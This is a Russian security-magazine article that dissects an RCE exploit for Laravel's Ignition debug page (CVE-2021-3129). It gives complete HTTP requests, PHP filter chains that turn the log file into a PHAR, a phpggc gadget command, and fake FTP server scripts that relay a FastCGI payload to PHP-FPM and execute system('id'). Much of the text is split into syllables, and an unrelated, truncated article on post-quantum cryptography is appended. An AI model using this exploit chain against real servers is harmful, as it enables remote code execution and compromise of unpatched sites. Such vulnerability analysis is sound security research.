кор рек тной стро ки Base64. Но если попада ется некор рек тная,  то выводит ся
пре дуп режде ние  и  воз вра щает ся  пус тая  стро ка.  Прос той  спо соб  сде лать
некор рек тным  набор  дан ных  —  это  добавить  суф фикс  вырав нивания  (знак
«рав но») в середи ну.

Об работ ка некор рек тной стро ки Base64 филь тром base64‐decode

Этим  трю ком мож но было бы очи щать  содер жимое  любого фай ла,  если бы
не  одно  но —  обра бот чики  исклю чений  во фрей мвор ке.  Ког да филь тр  воз‐ 
вра щает  warning,  Laravel  его  перех ватыва ет,  записы вает  трейс  в  лог‐файл
и прек раща ет выпол нение скрип та.

По это му  нуж но  най ти  такой  филь тр,  который  не  воз вра щает  ошиб ку,
не воз вра щает кон тента и при этом обра щает ся к нуж ному фай лу. Для это го
пос мотрим, какие филь тры есть в текущей уста нов ке PHP.

php   ‐r "print_r(stream_get_filters());"

Вы вод всех зарегис три рован ных филь тров в PHP

Об рати вни мание на  , его опи сание ты не най дешь в докумен тации.
Поэто му заг лянем в  .

consumed
ис ходни ки

/ext/standard/filters.c
 1626: /* {{{ consumed filter implementation */
       1627: typedef struct _php_consumed_filter_data {
     1628: size_t consumed;
     1629: zend_off_t offset;
     1630: uint8_t persistent;
   1631: } php_consumed_filter_data;

...
     1633: static php_stream_filter_status_t consumed_filter_filter(

...
               1649: while ((bucket = buckets_in‐>head) != NULL) {

1650:       php_stream_bucket_unlink(bucket);
   1651:       consumed += bucket‐>buflen;

 1652:       php_stream_bucket_append(buckets_out, bucket);
   1653: }

Этот недоку мен тирован ный филь тр как раз дела ет имен но то, что нам нуж но.
Давай исполь зуем его и про верим резуль тат.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"php://filter/read=consumed/resource=../storage/logs/
laravel.log"
 }

}

Очис тка содер жимого лог‐фай ла Laravel с исполь зовани ем филь тра
consumed

Те перь, ког да у нас есть воз можность очис тить файл, пос мотрим, как мож но
соз дать архив PHAR.

УКРОЩАЕМ ЛОГ-ФАЙЛ
Рас смот рим  струк туру  лог‐фай ла.  Отпра вим  зап рос,  который  чита ет
несущес тву ющий файл.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"THIS_IS_SOME_STRING"
 }

}

storage/logs/laravel.log
[2021‐04‐25 14:25:19] local.ERROR: file_get_contents(THIS_IS_SOME_
STRING): failed to open stream: No such file or directory {
"exception":"[object] (ErrorException(code: 0): file_get_contents(
THIS_IS_SOME_STRING): failed to open stream: No such file or 
directory at /var/www/vendor/facade/ignition/src/Solutions/
MakeViewVariableOptionalSolution.php:75) 

Ес ли обоб щить, то пер вая стро ка каж дой такой записи име ет сле дующий вид:

[date][error_data]<filename>[error_data]<filename>[error_data] 

Это при водит нас к сле дующей проб леме. Как отбро сить все ненуж ные дан‐ 
ные и оста вить  толь ко  ту  часть,  которой мож но манипу лиро вать? К счастью,
в  PHP  име ется  мно жес тво  филь тров  кон верта ции  из  раз личных  кодиро вок.
Все они име ют пре фикс  .convert.iconv.*

Вос поль зуем ся  осо бен ностя ми  кодиров ки  UTF‐16,  а  имен но 
(без мет ки поряд ка бай тов). В ней сим волы кодиру ются двух бай товыми сло‐ 
вами. Обыч ные сим волы ASCII име ют такой же вид, толь ко к ним добав ляет ся
байт  .

UTF‐16LE

\x00

 echo ‐n Hello | iconv ‐f ascii ‐t utf16le | xxd 
> 00000000: 4800 6500 6c00 6c00 6f00                 H.e.l.l.o. 

Пред став ление стро ки в кодиров ке UTF‐16LE

Те перь соз дадим файл, часть которо го будет содер жать стро ку в кодиров ке
UTF‐16LE, она и будет нашим пей лоадом.

     function teststring { echo ‐n Hello | iconv ‐f ascii ‐t utf16le; }
 

 
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[
error_data]/' > test.file 

Соз дание фай ла, часть которо го пред став лена в кодиров ке UTF‐16LE

Да лее  вос поль зуем ся  филь тром  ,  который
скон верти рует содер жимое подопыт ного фай ла в UTF‐8.

convert.iconv.utf16le.utf‐8

test-utf16utf8.php
<?php

   $file = 'php://filter/read=convert.iconv.utf16le.utf‐8/resource=/tmp/
test.file';

   $contents = file_get_contents($file);
var_dump($contents);

 file_put_contents($file, $contents);

Кон верта ция фай ла из UT8‐16LE в UTF‐8 через филь тры PHP

Как видишь, чита емы ми оста лись толь ко два пей лоада. Столь ко нам не нуж‐ 
но, а пос коль ку UTF‐16 работа ет с дву мя бай тами, то мож но смес тить вырав‐ 
нивание вто рого пей лоада, добавив в кон це допол нитель ный байт.

     Fecho ‐n Hello | iconv ‐f ascii ‐t utf16le | cat ‐ <(echo ‐n ) | xxd 
> 00000000: 4800 6500 6c00 6c00 6f00 46              H.e.l.l.o.F 

   
   F  

function teststring { echo ‐n Hello | iconv ‐f ascii ‐t utf16le | cat
‐ <(echo ‐n ); }

 
 

teststring | sed 's/.*/[date][error_data]\0[error_data]\0[
error_data]/' > test.file 

Из бавля емся от вто рого экзем пля ра пей лоада, добавив допол нитель ный
байт в конец

Та ким обра зом сме щаем обра баты ваемые кон верто ром пары бай тов пос ле
пер вого пей лоада и в резуль тате получим нуж ную стро ку.

Из бавля емся от вто рого экзем пля ра пей лоада. Резуль тиру ющий файл

Ес ли теперь исполь зовать филь тр  , то он отбро сит все некор‐ 
рек тные сим волы и попыта ется декоди ровать толь ко пей лоад, что нам и нуж‐ 
но.

base64‐decode

Од нако  здесь  при таилась  еще  одна  проб лемка.  Так  как  пей лоад  будет
переда вать ся  в  фун кцию    в  качес тве  име ни  фай ла,
не  получит ся  исполь зовать  null‐бай ты,  которые  необ ходимы  для  пред став‐ 
ления тек ста в виде UTF‐16.

file_get_contents

Обой ти это огра ниче ние нам вновь помога ют филь тры. 
 поз воля ет исполь зовать null‐бай ты, пред ста вив их в виде  .

Filters.covert.quot‐
ed‐printable =00

       |       
|       |     F  
function teststring { echo ‐n Hello | base64 ‐w0 sed ‐E 's/=+$//g'
sed ‐E 's/./\0=00/g' cat ‐ <(echo ‐n ); }

 
 

teststring | sed 's/.*/[date][error_data]\0[error_data]\0[
error_data]/' > test.file 
php   ‐r 'var_dump(file_get_contents("php://filter/read=convert.
quoted‐printable‐decode|convert.iconv.utf‐16le.utf‐8|convert.
base64‐decode/resource=test.file"));'

Де коди руем пей лоад при помощи цепоч ки филь тров в PHP

На этом эта пе поч ти все  готово к экс плу ата ции, но нас может под сте регать
еще одна проб лема. При чина кро ется все в тех же осо бен ностях кодиров ки
UTF‐16 — раз мер сим вола в два бай та. Если общий раз мер лога будет нечет‐ 
ным, то филь тр   вер нет пре дуп режде ние.convert.iconv.utf‐16le.utf‐8

Ис клю чение при попыт ке кон верти ровать из кодиров ки UTF‐16 содер ‐
жимое некор рек тно го раз мера

Как  ты  уже  зна ешь,  Laravel  обра баты вает  все  исклю чения  и  прек раща ет
выпол нение  скрип та.  Поэто му  для  вырав нивания мож но  добавить  еще  одну
запись в лог‐файл при помощи все того же зап роса с ука зани ем стро ки нуж‐ 
ного раз мера в качес тве име ни фай ла в  .viewFile

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"AA"
 }

}

Продолжение статьи →

https://github.com/php/php-src/blob/master/ext/standard/filters.c#L1627
https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv
https://ru.wikipedia.org/wiki/UTF-16#UTF-16LE_.D0.B8_UTF-16BE
https://www.php.net/manual/en/filters.convert.php#filters.covert.quoted-printable


УЯЗВИМОСТЬ В

LARAVEL
РАЗБИРАЕМ ЭКСПЛОИТ, КОТОРЫЙ ДАЕТ

УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА
В ПОПУЛЯРНОМ PHP‐ФРЕЙМВОРКЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ЭКСПЛУАТАЦИЯ ЧЕРЕЗ АРХИВ PHAR
Нас тало  вре мя  соб рать  всю  цепоч ку  в  пол ноцен ный  экс пло ит.  Для  фор‐ 
мирова ния  пей лоада  пред лагаю  исполь зовать  .  Это  генера тор
цепочек  гад жетов для экс плу ата ции десери али зации в PHP. Ути лита в  чис ле
про чего может записы вать резуль тат в виде архи ва PHAR.

phpggc

В качес тве гад жета я буду исполь зовать  , под ходящая вер‐ 
сия это го пакета как раз при сутс тву ет в дефол тной уста нов ке Laravel.

Monolog/RCE1

Ис поль зуем гад жет под биб лиоте ку Monolog для генера ции полез ной
наг рузки

php ‐d'phar.readonly=0' phpggc ‐‐phar phar ‐o exploit.phar 
‐‐fast‐destruct monolog/rce1 system id

Флаг    поможет  сра зу  вывес ти  резуль тат  коман ды.  Кон верти‐ 
руем получен ный архив в пей лоад.

fast‐destruct

   |       |     
 |     F

cat exploit.phar | base64 ‐w0 sed ‐E 's/=+$//g' sed ‐E 's/./\
0=00/g' cat ‐ <(echo ‐n );

Ге нери руем полез ную наг рузку при помощи phpggc и кон верти руем ее
в необ ходимый фор мат

Прис тупа ем к экс плу ата ции.
Сна чала очис тим лог‐файл.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"php://filter/read=consumed/resource=../storage/logs/
laravel.log"
 }

}

Ес ли  необ ходимо,  отправ ляем  зап рос  для  получе ния  кор рек тно го,  чет ного
раз мера резуль тиру юще го фай ла. В моем слу чае дос таточ но было двух бай‐ 
тов  .AA

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"AA"
 }

}

Те перь нас тала оче редь полез ной наг рузки. Но тут нас под жида ет еще одна
заг воз дка.  Трейс,  который  записы вает ся  в  лог‐файл,  может  быть  раз ным,
и  это  может  нам  под портить  кор рек тную  экс плу ата цию.  Это  про исхо дит
потому,  что  один  из  эле мен тов  сте ка  отоб ража ет  выпол ненную  фун кцию,
аргу мент которой обре зан до N пер вых бай тов.

Ар гумент с пей лоадом обре зает ся до нес коль ких бай тов при записи
трей са об ошиб ке в лог‐файл

На моей сис теме это 15  ( ). Ког да филь тр будет обра баты‐ 
вать такую конс трук цию, он вер нет исклю чение  , а ты
уже зна ешь, как пос тупа ет с исклю чени ями Laravel.

P=00D=009=00w=0
invalid byte sequence

Об работ ка некор рек тной стро ки филь тром quoted‐printable‐decode
вызовет исклю чение

Что бы  избе жать  этой  ошиб ки,  мож но  добавить  необ ходимое  количес тво
любых сим волов, которые декодер Base64 отбро сит и не будет вос при нимать
филь тр  .  Я  исполь зовал  знак  минус  и  прос то
добавил  16  (луч ше  при дер живать ся  чет ного  количес тва!)  таких  сим волов
в начало пей лоада.

quoted‐printable‐decode

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: text/html
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐P=00D=009=00w=00a=00H=00A=00...
T=00U=00I=00F"
 }

}

Ус пешная дос тавка полез ной наг рузки в лог‐файл Laravel

Сле дующий шаг — кон верта ция лог‐фай ла в валид ный архив PHAR. Отправ‐ 
ляем зап рос с уже зна комым набором филь тров.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"php://filter/write=convert.
quoted‐printable‐decode|convert.iconv.utf‐16le.utf‐8|convert.
base64‐decode/resource=../storage/logs/laravel.log"
 }

}

Ес ли сер вер воз вра щает пус той ответ с кодом 200, зна чит, все идет по пла ну.

Ус пешно скон верти рова ли лог‐файл Laravel в архив PHAR с полез ной
наг рузкой

Ну  и  наконец,  оста лось  обра тить ся  к  получен ному  логу  как  к  архи ву  PHAR,
что бы выпол нить сге нери рован ную полез ную наг рузку.

Ус пешная экс плу ата ция RCE в Laravel через кон верта цию лог‐фай ла
в архив PHAR

В отве те видим резуль тат работы коман ды  .id
Этот  метод  экс плу ата ции  хорош,  но  име ет  свои  минусы,  один  из  них —

необ ходимость  знать  путь  до  лога  или  любого  дру гого  фай ла,  дос тупно го
для записи в сис теме. Что делать, если такого не ока залось?

ЭКСПЛУАТАЦИЯ ЧЕРЕЗ FTP => PHP-FPM
Ес ли  пер вый  спо соб  экс плу ата ции  не  сра ботал  или  невоз можен,  то  пред‐ 
лагаю разоб рать ся еще с одним вари антом.

Для это го нам понадо бит ся рас смот реть осо бен ности работы про токо ла
FTP. Он может работать в активном или пас сивном режиме, от это го зависит
спо соб  уста нов ки  соеди нения.  В  активном  режиме  кли ент  соз дает  соеди‐ 
нение с сер вером и переда ет ему свой IP‐адрес и про изволь ный номер пор‐ 
та,  на  который  ждет  под клю чения.  В  пас сивном  режиме  кли ент  отправ ляет
коман ду   и получа ет от сер вера IP‐адрес и номер пор та, которые затем
исполь зуют ся кли ентом для под клю чения. Фиш ка в том, что эти дан ные могут
быть  любыми,  в  том  чис ле  IP‐адрес  может  быть  127.0.0.1.  Таким  обра зом
мож но  под клю чать ся  к  сер висам,  которые  дос тупны  толь ко  из  внут ренней
инфраструк туры.

PASV

В  моем  тес товом  окру жении  есть  демон  PHP‐FPM,  который  слу шает
порт 9000.

Де мон PHP‐FPM слу шает порт 9000

Он  работа ет  по  про токо лу  FastCGI,  и  к  нему  мож но  обра щать ся  нап рямую
при  помощи  спе циаль но  сфор мирован ных  пакетов.  Для  это го  сущес тву ет
мно жес тво ути лит, нап ример cgi‐fcgi из биб лиоте ки libfcgi.

 PAYLOAD="<?php system('id');"
FILENAME="/var/www/html/index.php"
B64=$(echo "$PAYLOAD"|base64)
env ‐i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"
auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FILENAME SCRIPT_NAME=$FILENAME REQUEST_METHOD=POST \
cgi‐fcgi ‐bind ‐connect 127.0.0.1:9000 | head

От прав ка команд демону PHP‐FPM с помощью про токо ла FastCGI

Здесь   —  абсо лют ный  путь  до  сущес тву юще го  скрип та.  На  самом
деле его мож но и не знать, глав ное, что бы рас ширение было  . Тут гораз‐ 
до  важ нее  перемен ная  окру жения  ,  а  имен но  опция 

.  Эта  дирек тива  пере опре деля ет    из  фай ла
кон фигура ции  PHP.  Все  пос леду ющие  вызовы  на  дан ном  вор кере  будут
исполь зовать  эту  нас трой ку.  В  ней  ука зыва ется  имя  фай ла,  который  авто‐ 
мати чес ки  выпол няет ся  перед  основным.  Я  вос поль зовал ся  врап перами
и  нап рямую  ука зал  код,  который  хочу  выпол нить.  Пред варитель но  закоди‐ 
ровал его в кодиров ку Base64.

FILENAME
.php

PHP_VALUE au‐
to_prepend_file од ноимен ную

При  экс плу ата ции  мне  понадо бит ся  более  уни вер саль ный  пей лоад.
Для тес та хорошо подой дет  . Пос ле успешной экс плу ата ции все,
что будет переда но в теле зап роса, обра бота ется интер пре тато ром PHP.

php://input

Те перь  необ ходимо  получить  содер жимое  пакета,  который  отправ ляет ся
к  PHP‐FPM,  что бы  уста новить  нуж ные  нас трой ки.  Для  этих  целей  мне  приг‐ 
лянул ся скрипт   за авторс твом phith0n.fpm.py

Я  нем ного модифи циро вал  скрипт,  что бы  он  сох ранял  пакет  в файл 
.

ex‐
ploit.bin

fcgi_packet_generator.py
       187:         with open("exploit.bin", "wb") as flr:

188:             flr.write(request)
189:         # self.sock.send(request)
190:         # self.requests[requestId]['state'] = FastCGIClient.
FCGI_STATE_SEND
191:         # self.requests[requestId]['response'] = b''
192:         # return self.__waitForResponse(requestId)

 193:         return True
...

 253:         'PHP_VALUE': 'auto_prepend_file = php://input',

Ал горитм дей ствий будет сле дующим.
1. От прав ляем зап рос, который обра щает ся к нашему FTP‐сер веру, для это‐ 
го прос то исполь зуем схе му  .ftp://IP:PORT/filename.ext

2. Ад рес сер вера при ходит в фун кцию  , и выпол няет ся
под клю чение.

file_get_contents

3. Наш FTP‐сер вер получа ет соеди нение с зап росом фай ла и отве чает, что
может передать его в пас сивном режиме. Для это го нуж но под клю чить ся
на опре делен ный хост и порт.

4. На  этом  пор те  мы  ожи даем  соеди нения,  что бы  передать  сер веру  файл,
содер жащий полез ную наг рузку (наш exploit.bin).

5. Тут выпол нение фун кции    завер шает ся, и в перемен‐ 
ной   теперь содер жится наш пей лоад.

file_get_contents
$originalContents

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptional-
Solution.php

               73: public function makeOptional(array $parameters = [])
     74: {

   75:         $originalContents = file_get_contents($parameters[
'viewFile']);

6. За тем нас тупа ет  черед фун кции  . Она вновь под клю‐ 
чает ся  к  тому  же  самому  FTP‐сер веру,  толь ко  теперь  для  того,  что бы
записать файл.

file_put_contents

7. На этот раз вой дя в пас сивный режим, отве чаем кли енту, что для того, что‐ 
бы  передать  содер жимое  для  записи  в файл,  необ ходимо  под клю чить ся
к хос ту 127.0.0.1 и пор ту 9000. То есть к демону PHP‐FPM.

8. Кли ент  выпол няет  под клю чение  и  отправ ляет  содер жимое  ,
в котором лежит кор рек тный пакет FastCGI. Таким обра зом полез ная наг‐ 
рузка дос тавля ется в нуж ное мес то.

exploit.bin

Те перь  оста лось  лишь  реали зовать  этот  алго ритм  на  прак тике.  В  качес тве
FTP‐сер вера я взял     и добавил туда
обра бот ку допол нитель ных команд и двух пос ледова тель ных кон нектов.

скрипт fake_ftp.py Ива на @dfyz Комаро ва

INFO

Скрипт был написан в рам ках   тас ка res‐
onator на  .

ре шения
hxp CTF 2020

fake_ftp.py
   LOCAL_PORT = 9000

   LOCAL_PORT_1 = 65123
   HOST_FPM = '127,0,0,1'

   HOST_VALID = '192.168.99.1'
   HOST_VALID_FTP = '192,168,99,1'

...
                elif cmd == b'PASV':

                    if first == True:

       
                   self._send(f'227 Entering passive mode ({
HOST_VALID_FTP},{LOCAL_PORT_1 // 256},{LOCAL_PORT_1 % 256})'.encode()
)
               else:

   
   

                   self._send(f'227 go to ({HOST_FPM},{LOCAL_PORT //
256},{LOCAL_PORT % 256})'.encode())

Об рати вни мание, в каком виде переда ются хост и порт для управле ния кон‐ 
некта ми кли ента. Номер пор та выс читыва ется по фор муле 

,  поэто му  в  коде  нам  нуж но  про делать  обратную
опе рацию.

{(first value *
[2^8])  +  second  value}

При пер вом кон некте кли ента к пор ту 65123 нуж но отдать файл с полез ной
наг рузкой.  Сде лаю  это  при  помощи  прос того  Python‐скрип та,  который
исполь зует биб лиоте ку сокетов.

serve_file_pasv.py
 import socket
 import sys

   LOCAL_PORT_1 = 65123
   HOST_VALID = '192.168.99.1'

   FILE = 'exploit.bin'

fi=open(FILE,'rb')
       with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

       s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     s.bind((HOST_VALID, LOCAL_PORT_1))
       print('Serve {} at {}:{}'.format(FILE, HOST_VALID, LOCAL_PORT_1))
   sys.stdout.flush()
   s.listen()
         conn, addr = s.accept()
     with conn:

        print('Connected by', addr)
          data = fi.read(1024)
        while data:

           conn.send(data)
           data=fi.read(1024)
       fi.close()
       print('Serve finished.')

Вот и вся цепоч ка. Запус каем в нуж ной пос ледова тель нос ти, сна чала генери‐ 
руем файл‐пакет с полез ной наг рузкой.

python3 fcgi_packet_generator.py ‐p 9000 127.0.0.1 /tmp/any.php 

За тем скрипт, который будет отда вать его кли енту.

python3 serve_file_pasv.py 

Те перь  сам  FTP‐сер вер,  который  будет  управлять  соеди нени ями  и  нап‐ 
равлять их в нуж ное рус ло.

python3 fake_ftp.py 

Под готов ка к экс плу ата ции RCE‐уяз вимос ти в Laravel через FTP

Да лее отправ ляем зап рос на под клю чение к это му FTP.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{
 "solution":"Facade\\Ignition\\Solutions\\

MakeViewVariableOptionalSolution",
 "parameters":{
   "variableName":"name",
   "viewFile":"ftp://192.168.99.1/test.txt"
 }

}

Сер вер вер нул ответ с кодом 200 — зна чит, вся цепоч ка отра бота ла как надо.

Ус пешно дос тавили полез ную наг рузку в PHP‐FPM через FTP

А теперь мож но выпол нять код на PHP, прос то отправ ляя его в теле зап роса.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

<?php
system('id');

Вы пол нение про изволь ного кода в Laravel через PHP‐FPM

Пол ный  исходный  код  всех  час тей  экс пло ита  ты  можешь  най ти  в 
 на GitHub.

мо ем
репози тории

Ко неч но,  с  помощью  такой  ата ки  через  FTP  мож но  про экс плу ати ровать
не толь ко PHP‐FPM, но и любые сер висы, дос туп к которым есть с уяз вимой
машины. Нап ример, на перимет ре час тень ко попада ются memcache и Redis.
Так что тема экс плу ата ции через FTP очень инте рес ная и акту аль ная. Я нас‐ 
тоятель но рекомен дую изу чить   моего кол леги 

.
пре зен тацию по этой теме Ан‐ 

тона Bo0oM Лопани цина

ЗАКЛЮЧЕНИЕ
В  этом обзо ре  я  рас смот рел  два  инте рес ных  вари анта  экс плу ата ции  одной
уяз вимос ти, которые были боль ше похожи на таск из какого‐нибудь CTF. Сис‐ 
тема  пос тро ения  при ложе ний  из  набора  биб лиотек  может  пос тавить
под угро зу безопас ность даже таких круп ных про ектов, как Laravel. К счастью,
эта  же  осо бен ность  поз воля ет  раз работ чикам  быс тро  обновлять  или  вов се
уда лять ненадеж ные биб лиоте ки, в которых находят ся опас ные баги.

Раз работ чики  опе ратив но  испра вили  эту  уяз вимость  в  Ignition  вер‐ 
сии 2.5.2, так что сме ло обновляй ся, Composer тебе в помощь.

/var/www/composer.json
...
"require‐dev": {
   "facade/ignition": "^2.5",
...

composer update 

Во  всех  новых  инстал ляци ях  по  умол чанию  уже  исполь зует ся  более  новая
вер сия биб лиоте ки.

https://github.com/ambionics/phpggc
https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/resonator/fake_ftp.py
https://github.com/dfyz
https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/resonator
https://ctftime.org/event/1134
https://github.com/allyshka/exploits/tree/master/laravel/CVE-2021-3129
http://accountspeakerdeck.com/bo0om/ftp2rce
https://twitter.com/i_bo0om
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ПРИВАТНОСТЬ

О  кван товых  компь юте рах  говорят  еще  с  вось мидеся тых
годов. И  хотя с ними до сих пор мало  кто стал кивал ся, они
все  же  пос тепен но  ста новят ся  реаль ностью  и  начина ют
угро жать тра дици онной крип тогра фии. В ответ на это появи‐ 
лись  пост кван товые  алго рит мы  шиф рования.  В  статье  я
покажу, как они исполь зуют ся в OpenVPN, а заод но обсу дим
общее положе ние дел в мире кван товых тех нологий.

Вся кий,  кто  жела ет  обес печить  защиту  сво их  дан ных  доль ше  десяти
лет, дол жен сей час перей ти на аль тер натив ные фор мы шиф рования. 

Ар винд Криш на, дирек тор иссле дова тель ско го под разде ления IBM
(в нас тоящее вре мя пре зидент и генераль ный дирек тор IBM)

В  мар те  2018  года  уче ные  из  Google  объ яви ли  о  соз дании  72‐кубит ного
компь юте ра  . Парамет ры  компь юте ра  точ но неиз вес тны. Видимо,
они  были  неидеаль ны,  потому  что  о  кван товом  пре вос ходс тве  в  Google
загово рили лишь в октябре 2019 года, а дос тичь его уда лось на 53‐кубит ном
компь юте ре  .

Bristlecone

Sycamore

INFO

Кван товым  пре вос ходс твом  называ ют  ситу ацию,
ког да кван товый компь ютер реша ет такую задачу,
которая прос тому компь юте ру не по зубам.

За  200  секунд  Sycamore  получил  резуль тат,  который  клас сичес кий  супер‐ 
компь ютер искал бы 10  тысяч лет. Хотя в  Intel  компь ютер ное пре вос ходс тво
Google  оспо рили  и  в  целом  ока залось,  что  задача  была  искусс твен но  сос‐ 
тавле на под резуль тат, ста ло ясно, что в рай оне 50+ кубит находит ся гра ница,
за  которой  кван товый  компь ютер  может  «побить»  клас сичес кий.  Прав да,
толь ко в узком клас се спе цифи чес ких задач.

В кон це 2020 года китай ские иссле дова тели из Науч но‐тех ничес кого уни‐ 
вер ситета  Китая    о  решении  на  их  кван товом  компь юте ре  задачи,
которая  в  прин ципе  не  может  быть  решена  на  клас сичес ком  компь юте ре,
пос коль ку для это го пот ребова лось бы вре мя, рав ное полови не жиз ни Зем ли.

объ яви ли

Ис сле дова тели из IBM в то же вре мя заяви ли, что уже в 2021 году пла ниру‐ 
ют пос тро ить кван товый компь ютер с 127 кубита ми, в 2022 году они наде ются
иметь 433 кубита, в 2023 году 1121 кубит, а далее они видят пер спек тиву дой‐ 
ти аж до мил лиона кубитов и более.   гро мадье!Пла нов

Проб лема, одна ко, не толь ко в количес тве кубитов. При работе кван товых
вен тилей,  то есть при выпол нении  уни тар ных опе раций над  кубита ми,  неиз‐ 
бежно воз ника ют ошиб ки. Их веро ятность невели ка, но не нулевая. В про цес‐ 
се вычис лений ошиб ки накап лива ются, и без кор рекции труд но получить пра‐ 
виль ный  резуль тат.  Под  дей стви ем  окру жающей  сре ды  про исхо дит  декоге‐ 
рен ция  сис темы,  то  есть  раз рушение  ее  кван тового  сос тояния  (сос тояния
запутан ности кубитов изо лиро ван ной сис темы).

Вре мя  декоге рен ции,  то  есть  вре мя  под держа ния  сис темы  кубитов  изо‐ 
лиро ван ной  от  окру жающей  сре ды, — прин ципи аль ный фак тор  при  пос тро‐ 
ении  боль шого  кван тового  компь юте ра.  Если  это  вре мя  мень ше  вре мени,
необ ходимо го  для  кван товых  вычис лений,  в  сис теме  при  вычис лении  воз‐ 
ника ют  ошиб ки  и  в  резуль тате  вычис лений  мы  получим  толь ко  ран домизи‐ 
рован ный шум. Изо ляция  сис темы,  умень шение  уров ня  оши бок  на  вен тилях
и  соз дание  эффектив ных  алго рит мов,  кор ректи рующих  ошиб ки, —  эти  нап‐ 
равле ния  работы  ста новят ся  в  пос леднее  вре мя  при ори тет ными  и  активно
раз рабыты вают ся в ведущих иссле дова тель ских цен трах.

Что бы  кор ректи ровать  ошиб ки,  в  кван товых  алго рит мах  при меня ются
логичес кие кубиты, сос тоящие из нес коль ких физичес ких кубитов. Сос тояние
еди нич ного  кубита  кодиру ется  в  перепу тан ных  сос тояниях  нес коль ких
кубитов.  Поэто му  в  кван товом  компь юте ре  с  кор рекци ей  оши бок  реаль ных
кубитов пот ребу ется нам ного боль ше. Нап ример, один из пер вых пред ложен‐ 
ных  для  кор рекции  оши бок  7‐кубито вый  код Сти на  (Stean)  исполь зует  семь
кубитов для хра нения одной еди ницы (кубита) кван товой информа ции.

Па рал лель но  с работой над физичес кой реали заци ей  кван тового  компь‐ 
юте ра  раз рабаты вают ся  кван товые  алго рит мы. На  при лав ках  уже  появи лись
науч но‐популяр ные  бро шюры,  помога ющие  всем  жела ющим  начать  изу чать
осно вы  кван тового прог рамми рова ния. Осо бое мес то  занима ет  про ект  IBM

, поз воля ющий соз давать  кван товые алго рит мы и запус‐ 
кать их на кван товых компь юте рах IBM и симуля торах.
Quantum Experience

При меры выпущен ных в пос леднее вре мя популяр ных бро шюр, пос ‐
вящен ных кван товым вычис лени ям

От себя пореко мен дую фун дамен таль ный труд Ниль сена и Чан га, нас читыва‐ 
ющий уже десяток пере изда ний. Есть перевод на рус ский язык одно го из пер‐ 
вых изда ний, кни га называ ется «Кван товые вычис ления и кван товая информа‐ 
ция».

В  Рос сии  тоже  есть  спе циалис ты,  готовые  к  соз данию  боль шого  кван‐ 
тового  компь юте ра.  В  МГУ  готовят  магис тров  по  прог рамме  «Кван товые
вычис ления», есть прог раммы по  кван товой крип тогра фии и свя зи, по  кван‐ 
товым опти чес ким тех нологи ям. В МФТИ чита ют лек ции по кван товой теории
информа ции, в дру гих уни вер ситетах есть похожие кур сы.

ПРИЧЕМ ЗДЕСЬ КРИПТОГРАФИЯ?
Кван товый компь ютер раци ональ но исполь зовать для решения очень неболь‐ 
шого  клас са  задач.  Это  модели рова ние  кван товых  сис тем.  Нап ример,
в  химии  это  рас четы  химичес ких  реак ций  или  рас четы  прос транс твен ной
струк туры молекул при соз дании новых матери алов или лекарств. Это задачи
опти миза ции, нап ример в рас четах слож ной логис тики (типа задачи ком миво‐ 
яже ра). Это крип тоана лиз сущес тву ющих шиф ров.

Имен но  пуб ликация  алго рит ма Шора  (Shor)  в  1994  году,  исполь зующе го
быс трое  кван товое  пре обра зова ние  Фурье  для  фак ториза ции  боль ших
чисел, подог рела инте рес к кван товому компь юте ру, выз вала бум иссле дова‐ 
ний в этой области и нап равила на их раз витие огромные ресур сы.

Есть  аме рикан ская  орга низа ция  ,  где  раз рабаты вают  гло баль ные
финан совые  стан дарты,  в  том  чис ле  в  области  крип тогра фичес кой  защиты
финан совых  дан ных.    этой  орга низа ции  явля ются  Bank  of  America,
